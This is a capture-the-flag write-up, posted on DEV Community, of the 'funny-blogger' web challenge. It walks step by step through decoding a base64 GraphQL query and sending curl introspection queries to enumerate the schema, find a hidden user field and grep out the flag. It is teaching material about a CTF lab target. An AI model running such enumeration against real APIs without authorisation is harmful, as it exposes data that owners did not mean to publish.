DEV Community

hardword
hardword

Posted on

Fun with GraphQL Introspection

This post is a writeup of 'funny-blogger' challenge from Cyberedu Warm-up CTF #1

Once you access the challenge web page, you can find a jQuery script to fetch blog posts.

var arr = document.URL.match(/article=([0-9]+)/)
    var article = arr[1];
    if (article >= 0) {
        console.log(article);

        var request = $.ajax({
            method: "POST",
            dataType: "json",
            url: "/query",
            contentType: "application/x-www-form-urlencoded",
            data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",
            success: function(response) {
                document.getElementById("title").innerHTML = response.data.allPosts.edges[article].node.title;
                document.getElementById("content").innerHTML = response.data.allPosts.edges[article].node.body;
            }
        })

When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.

{"query":"{allPosts{edges{node{title\nbody}}}}"}

Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post via query end point and then show only the post that the article parameter is pointing, like /article=1. #classicGraphQL

And here is the curl request to get all posts (or nodes).

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "title": "Day #0 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  },
  {
    "node": {
      "title": "Day #1 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  }
]

There are 800 posts (article=0 through article=799) with the same format for titles and the same contents for bodys and there is obviously no sign of flag from a normal request.

I jumped to check the Introspection of GraphQL query [1][2], because why not, with a hope of there being something in node object other than title and body which "hopefully" will give me the flag. And here are the steps that I took toward the flag.

Step 1. Checking all types from __schema gives a name to check PostObject

{"query":"{__schema{types{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='

{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

Step 2. Checking all fieldss from PostObject type gives a list of filed names.

{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}

Step 3. id and authorID do not dive anything special as title and body did. But I found that author is another type, UserObject, which looks interesting, again because why not.

Step 4. Checking all fieldss from UserObject type gives an interesting field called randomStr1ngtoInduc3P4in

{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}

Step 5. randomStr1ngtoInduc3P4in gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.

{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  },
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  }
]

Step 6. Found the flag with grep

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges' | grep -E -o 'ECSC{.*}' | grep -v 'harder'

ECSC{b8e9be2eb35748a0aa...}

[1] https://graphql.org/learn/introspection/
[2] https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/

Top comments (0)